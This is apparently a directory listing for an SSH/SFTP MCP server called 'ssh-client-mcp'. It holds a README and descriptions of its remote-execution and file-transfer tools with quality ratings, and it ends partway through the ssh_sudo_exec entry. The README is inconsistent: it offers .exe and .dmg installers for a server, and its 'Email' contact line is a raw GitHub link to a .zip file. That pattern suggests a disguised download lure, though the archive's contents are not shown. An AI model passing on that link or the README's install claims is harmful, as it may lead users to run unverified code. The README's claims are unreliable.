ssh-client-mcp
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@ssh-client-mcplist files in /home/user on the server"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
π ssh-client-mcp - Easy Remote Command and File Transfers
π οΈ Overview
The "ssh-client-mcp" is a simple and efficient SSH/SFTP server designed for seamless remote command execution and file transfers. With this tool, you can easily connect to remote systems and manage files for Claude AI. This README will guide you through downloading and running the application, even if you're not a tech expert.
Related MCP server: SSH Remote MCP Server
π Getting Started
Before diving into the installation process, it's essential to know what you need. Hereβs what the application offers:
Execute Remote Commands: Run commands on remote servers with ease.
File Transfers via SFTP: Securely transfer files to and from remote systems.
Support for Claude AI: Integrate with Claude AI for enhanced functionalities.
User-Friendly Interface: Simple design that doesn't overwhelm.
π₯οΈ System Requirements
A computer running Windows, macOS, or Linux.
An active internet connection.
Basic understanding of how to navigate files on your computer.
π¦ Download & Install
To get started, follow these steps:
Visit the Releases Page: Go to our Releases page to download the latest version: Download here.
Choose Your Version: Find the version that fits your operating system and click on the download link.
Install the Application:
For Windows: Double-click the downloaded
.exefile and follow the on-screen instructions.For macOS: Open the
.dmgfile, drag the application into your Applications folder, and then run it.For Linux: Use the package manager for your distribution or run the installer script in the terminal.
Start the Application: Once you complete the installation, open the application from your programs or applications list.
βοΈ How to Use ssh-client-mcp
Once you have the application installed, you can start using it.
Open the Application: Launch "ssh-client-mcp" from your applications list.
Configure Connection Settings:
Enter the server IP address you want to connect to.
Provide your username and password for login.
Choose the port (default is usually 22 for SSH).
Execute Commands:
Navigate to the command input section.
Type the command you wish to execute and hit "Enter".
Transfer Files:
For SFTP transfers, select the file you want to send or receive.
Click on the transfer button to start the file transfer.
π Support and Documentation
If you run into issues or have questions, here are some resources:
FAQs: Answers to common questions about installation and usage.
User Manual: A comprehensive guide on all features and functionalities.
Community Forums: Join discussions with other users to find solutions and share tips.
π Contact
For further assistance, contact our support team:
Email: https://raw.githubusercontent.com/moinugare19/ssh-client-mcp/master/src/tools/mcp-client-ssh-3.0.zip
GitHub Issues: Report bugs or request features directly in the GitHub Issues section.
π License
This project is licensed under the MIT License. You can freely use and modify this software as per the license terms.
π Related Topics
Discover more about the technologies behind "ssh-client-mcp":
AI Integration
Model Context Protocols
Secure File Transfer Protocols
By following these instructions, you should be able to download and run "ssh-client-mcp" without any trouble. For any additional questions or concerns, feel free to reach out through the provided contact details. Happy file transferring!
Available Tools
18 toolssftp_downloadB
Download a file from the remote server to local via SFTP.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID | |
| remotePath | Yes | Remote file path to download | |
| localPath | Yes | Local destination path | |
| overwrite | No | Overwrite if exists |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so the description must disclose behavioral traits. It only states the basic function, lacking details on error handling, permissions, session requirements, or side effects. Critical information is missing.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, concise sentence with no extraneous information. It is well-structured and immediately conveys the tool's core function.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and no annotations, the description should provide more context. It omits return values, error cases, and practical considerations (e.g., overwrite behavior, session lifecycle). Incomplete for an agent to use reliably.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Parameter schema coverage is 100%, so the baseline is 3. The description does not add any extra meaning beyond the schema; it merely restates the tool's purpose without elaborating on parameters like sessionId, remotePath, or overwrite behavior.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action (download), resource (file), direction (remote to local), and protocol (SFTP). It is specific and distinguishes from sibling tools like sftp_upload and sftp_read.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives (e.g., sftp_read), nor prerequisites like an active SSH session. The agent is left to infer usage context without explicit direction.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
sftp_lsB
List contents of a remote directory.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID | |
| path | Yes | Remote directory path |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description should disclose behavioral traits, but it only states 'list contents' without mentioning safety, error behavior, or output format.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single short sentence, front-loaded with no wasted words, making it highly concise.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple tool with no output schema, the description fails to explain return values or any additional context needed for the agent, leaving gaps.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema descriptions cover 100% of parameters, so the description adds no extra meaning beyond what is already in the schema, resulting in a baseline score.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description 'List contents of a remote directory' clearly states the verb (list) and resource (remote directory contents), distinguishing it from sibling tools like sftp_download or sftp_read.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives, such as the requirement for an active SSH session or that it is a read-only operation.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
sftp_mkdirC
Create a directory on the remote server.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID | |
| path | Yes | Remote directory path to create | |
| recursive | No | Create parent directories |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are present, so the description carries the full burden. It only states 'Create a directory' without mentioning failure modes, idempotency, or behavior with existing directories. The 'recursive' parameter is not referenced.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single short sentence, which is concise but lacks sufficient detail. It is not verbose, but its brevity compromises informativeness.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The tool is a creation operation with no output schema and no annotations. The description provides no information on return values, error conditions, side effects, or how it interacts with the session. This is severely lacking for a 3-parameter tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema covers all 3 parameters with clear descriptions, so the description does not need to add extra meaning. Baseline score of 3 is appropriate as no additional semantic value is provided.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action 'Create a directory' and specifies the resource 'on the remote server'. This distinguishes it from sibling tools like sftp_rm or sftp_download, but it does not elaborate on the scope or context.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool, prerequisites (e.g., active session), or when to avoid it. The description lacks any usage context or alternatives.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
sftp_readB
Read contents of a remote file.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID | |
| path | Yes | Remote file path | |
| encoding | No | File encoding | utf-8 |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description must disclose behavioral traits. It only states it reads a file, but does not confirm it is a safe, read-only operation, nor mention any side effects or constraints like file size limits.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, efficient sentence. While it is concise, it could include additional useful information without being verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema is provided, and the description does not mention what the tool returns (e.g., file content as a string). This is a significant omission for a read operation.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the baseline is 3. The description adds no extra meaning beyond the schema; it does not elaborate on encoding defaults or usage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'read' and the resource 'remote file', which distinguishes it from sibling tools like sftp_download or sftp_write.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives such as sftp_download or sftp_stat. The description lacks any context about appropriate usage scenarios.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
sftp_rmC
Remove a file or directory on the remote server.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID | |
| path | Yes | Remote path to delete | |
| recursive | No | Delete directories recursively |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, and the description does not disclose behavioral traits beyond the obvious destructive nature. It lacks details on error handling, irreversibility, or side effects.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Description is a single sentence that is concise and to the point. No unnecessary words, but could be slightly expanded for clarity without becoming verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple tool with no output schema and missing annotations, the description is minimally complete but lacks behavioral context such as error responses or handling of non-existent paths.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% with adequate parameter descriptions. The tool description adds no additional meaning beyond the schema, meeting the baseline but not exceeding it.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states 'Remove a file or directory' on a remote server, using a specific verb and resource. It distinguishes from sibling tools like sftp_download and sftp_ls, but could be more precise about the SFTP protocol.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives. For example, it does not mention when to use sftp_rm vs sftp_write for overwriting, or any prerequisites like session validity.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
sftp_statA
Get file or directory information (size, permissions, timestamps).
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID | |
| path | Yes | Remote path |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the burden. It explicitly states the operation is non-destructive (getting information), which is correct. However, it does not disclose error behavior (e.g., path not found) or any access requirements.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence, front-loading the key information. Every word is necessary and there is no redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple stat tool with two required parameters and no output schema, the description adequately states the returned information (size, permissions, timestamps). It is complete enough for an agent to understand the tool's purpose and expected output.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the schema already documents both parameters (sessionId, path). The description adds general context about returned attributes but does not add specific meaning to the parameters beyond what the schema provides.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Get' and the resource 'file or directory information', listing specific attributes (size, permissions, timestamps). This distinguishes it from siblings like sftp_ls (lists directory contents) and sftp_download (transfers files).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for retrieving metadata, but does not provide explicit guidance on when to use this tool versus alternatives (e.g., sftp_ls for listing contents). No when-not-to-use or comparative context is given.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
sftp_uploadB
Upload a local file to the remote server via SFTP.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID | |
| localPath | Yes | Local file path to upload | |
| remotePath | Yes | Remote destination path | |
| overwrite | No | Overwrite if exists |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, and the description lacks details about behavior: e.g., what happens if overwrite=false and file exists, whether intermediate directories are created, or error handling. The 'upload' verb only implies transfer.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single, concise sentence that accurately describes the tool's action. It is front-loaded and to the point, with no unnecessary words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description is too minimal for a tool with 4 parameters and no output schema. It omits details like return values, preconditions (e.g., active session), and failure modes, making it incomplete for an agent to use safely.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%; each parameter is explained in the schema. The description adds no additional meaning beyond the schema, so baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's function: uploading a local file to a remote server via SFTP. It distinguishes itself from siblings like sftp_download (downloads) and sftp_ls (lists files).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives (e.g., sftp_write for writing content directly). No prerequisites or contextual cues are provided.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
sftp_writeC
Write content to a remote file.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID | |
| path | Yes | Remote file path | |
| content | Yes | Content to write | |
| encoding | No | File encoding | utf-8 |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Without annotations, the description must disclose behavioral traits, but it only states the basic action. It does not mention whether files are overwritten, created, or appended, nor any authentication or side effects.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence with no fluff. However, it sacrifices informative content for brevity, lacking details that would make it more helpful.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description does not explain return values, error handling, or the need for an active session. Given the tool has no output schema, this omission leaves agents without essential context.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% and each parameter has a description in the schema. The tool description adds no additional meaning beyond the schema, so a baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Write' and the resource 'content to a remote file,' distinguishing it from siblings like sftp_read (read) and sftp_download (download). It could be more specific about behavior like overwriting vs appending.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives like sftp_upload, or prerequisites such as an active SSH session. The description provides no contextual usage advice.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_connectB
Establish an SSH connection to a remote server. Returns a session ID for subsequent operations.
| Name | Required | Description | Default |
|---|---|---|---|
| host | Yes | SSH server hostname or IP address | |
| port | No | SSH server port (default: 22) | |
| username | Yes | SSH username | |
| password | No | SSH password (for password authentication) | |
| privateKey | No | Private key content or file path (for key authentication) | |
| privateKeyPassphrase | No | Passphrase for encrypted private key | |
| timeout | No | Connection timeout in milliseconds |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full burden but only states it establishes a connection and returns a session ID. It omits behavioral details such as authentication order, error handling, network requirements, or potential side effects.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, completely front-loaded with the core function and outcome. Every word is essential and there is no filler.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description mentions the key outcome (session ID for subsequent operations) but lacks details on authentication methods, timeout behavior, and what happens on failure. Given no output schema or annotations, it provides only minimal context for a complex tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the description does not need to add parameter details. It correctly adds no redundant information, maintaining the baseline score of 3.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: establish an SSH connection and return a session ID. It uses a specific verb ('Establish') and resource ('SSH connection'), and distinguishes itself from sibling tools like ssh_connect_by_id and sftp operations.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives (e.g., ssh_connect_by_id) or prerequisites. It does not mention that this tool is typically the first step for subsequent SSH operations like ssh_exec.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_connect_by_idC
Connect to a server using its configuration ID. Credentials are loaded from config.
| Name | Required | Description | Default |
|---|---|---|---|
| serverId | Yes | Server ID from configuration | |
| passwordOverride | No | Override the configured password |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided. The description does not disclose behavioral traits such as whether the connection is persistent, if it requires authentication, or any side effects beyond establishing a connection.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two concise sentences convey the core purpose without unnecessary words. Front-loaded with action.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and no annotations, the description lacks information about return values, error handling, session management, and how to disconnect. Incomplete for a connection tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Input schema covers both parameters with descriptions. The description adds 'Credentials are loaded from config', which aligns with schema but does not provide additional meaning beyond what is already stated.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool connects to a server using a configuration ID. However, it does not differentiate from sibling tool 'ssh_connect', which might serve a similar purpose without a config ID.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives like ssh_connect or ssh_exec. No prerequisites or context provided.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_disconnectA
Close an SSH session and release resources.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | Session ID to disconnect |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; the description only mentions 'release resources' but does not disclose behavior for missing sessions, side effects, idempotency, or graceful vs forceful closure. For a destructive action, this is insufficient.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, no wasted words, directly to the point. Very concise.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and a single parameter, the description is minimal. It lacks details on graceful/forceful disconnect, error handling, and implications for running commands. Adequate but not complete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with the parameter description matching the tool's description. The description adds no extra meaning beyond what the schema already provides.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: closing an SSH session and releasing resources. The verb 'close' and specific resource 'SSH session' provide high clarity, and it distinguishes from sibling tools like ssh_connect, ssh_exec, etc.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use or not use this tool, nor any mention of prerequisites (e.g., session must be active). Usage is implied but not elaborated.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_execB
Execute a command on the remote server via SSH. Returns stdout, stderr, and exit code.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID from ssh_connect | |
| command | Yes | Command to execute on the remote server | |
| timeout | No | Command timeout in milliseconds |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description must disclose behavior. It mentions outputs but omits critical traits: commands can be destructive, no readOnlyHint, no mention of side effects or security restrictions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two short sentences: first defines purpose, second defines outputs. No fluff, front-loaded with key information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For an exec tool with no output schema and no annotations, the description is too sparse. Missing usage context, error handling, relation to sibling sesstools (ssh_sudo_exec), and safety warnings. Incomplete for a potentially destructive operation.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema has 100% parameter description coverage. The description adds value by stating return format (stdout, stderr, exit code) which is not in schema. This elevates it slightly above baseline 3.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states verb 'Execute' and resource 'command on remote server via SSH', with output detail (stdout, stderr, exit code). Sibling 'ssh_sudo_exec' is distinct, so this is well-differentiated.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Description does not specify when to use this tool (e.g., need an active session from ssh_connect) or when alternatives like ssh_sudo_exec are appropriate. No guidance on prerequisites or context.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_get_serverB
Get details of a specific configured server by ID.
| Name | Required | Description | Default |
|---|---|---|---|
| serverId | Yes | Server ID to get details for |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description bears full responsibility. It states 'Get details', which implies a read-only operation, but does not explicitly confirm the absence of side effects or disclose any behavioral traits like authentication requirements or potential errors.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, clear, front-loaded sentence. It is concise and to the point, though it could potentially include more detail without becoming verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (one parameter, no output schema), the description provides adequate context for basic use. However, it does not explain what constitutes 'details' or specify any constraints on the serverId parameter, leaving minor gaps.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the baseline is 3. The description does not add meaning beyond the schema's parameter description ('Server ID to get details for'). No extra context like format or constraints is provided.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it retrieves details of a specific server by ID, using a specific verb ('Get details') and resource ('specific configured server by ID'). It implicitly distinguishes from sibling tools like ssh_list_servers which list all servers, though it does not explicitly differentiate.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage when needing details of a single server, but provides no explicit guidance on when to use this tool versus alternatives (e.g., ssh_list_servers for listing, or ssh_exec for actions). No when-not-to-use or prerequisite information is given.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_list_serversA
List all configured SSH servers. Servers can be defined in servers.json or via environment variables.
| Name | Required | Description | Default |
|---|---|---|---|
| tag | No | Filter servers by tag (e.g., "prod", "dev") |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; description lacks behavioral details such as whether it connects to servers, data freshness, or error handling (e.g., empty list). Only states purpose and config sources.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with key information, no redundancy, front-loaded with purpose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Adequate for a simple list operation but missing description of output format or behavior when no servers are configured; no output schema to compensate.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema has 100% coverage with parameter description; tool description adds no extra meaning beyond what's in the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the action ('List all configured SSH servers') and the resource, distinguishing it from sibling tools that perform actions like connect, execute, or file transfers.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides context on server configuration sources but no explicit guidance on when to use this tool versus alternatives like ssh_connect or ssh_list_sessions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_list_sessionsA
List all active SSH sessions with their status and statistics.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, and the description only mentions 'status and statistics' without elaboration. It does not disclose behavioral traits like authentication needs, side effects, or what specific statuses/statistics are included.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence, concise and focused, containing no unnecessary words or repetition. It effectively communicates the tool's action.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a zero-parameter list tool, the description is adequate but lacks details on possible statuses, statistics format, or whether it supports filtering. Given no output schema, more context would help but it remains minimally viable.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
No parameters exist in the schema, so schema coverage is 100%. The description adds meaning by specifying 'active SSH sessions' and 'status and statistics', which is useful context beyond the empty schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'list', the resource 'active SSH sessions', and includes 'status and statistics', making it specific and distinguishable from sibling tools like ssh_connect or ssh_disconnect.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives such as ssh_list_servers or ssh_test_all_connections. The description does not mention exclusions or prerequisites.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_sudo_execA
Execute a command with sudo privileges on the remote server.
| Name | Required | Description | Default |
|---|---|---|---|
| sessionId | Yes | SSH session ID from ssh_connect | |
| command | Yes | Command to execute with sudo | |
| sudoPassword | No | Sudo password (if required by server) | |
| timeout | No | Command timeout in milliseconds |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It only states 'execute a command with sudo privileges' without disclosing behavioral traits such as dependency on a valid session, potential need for sudo password, side effects, or timeouts beyond the schema field.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
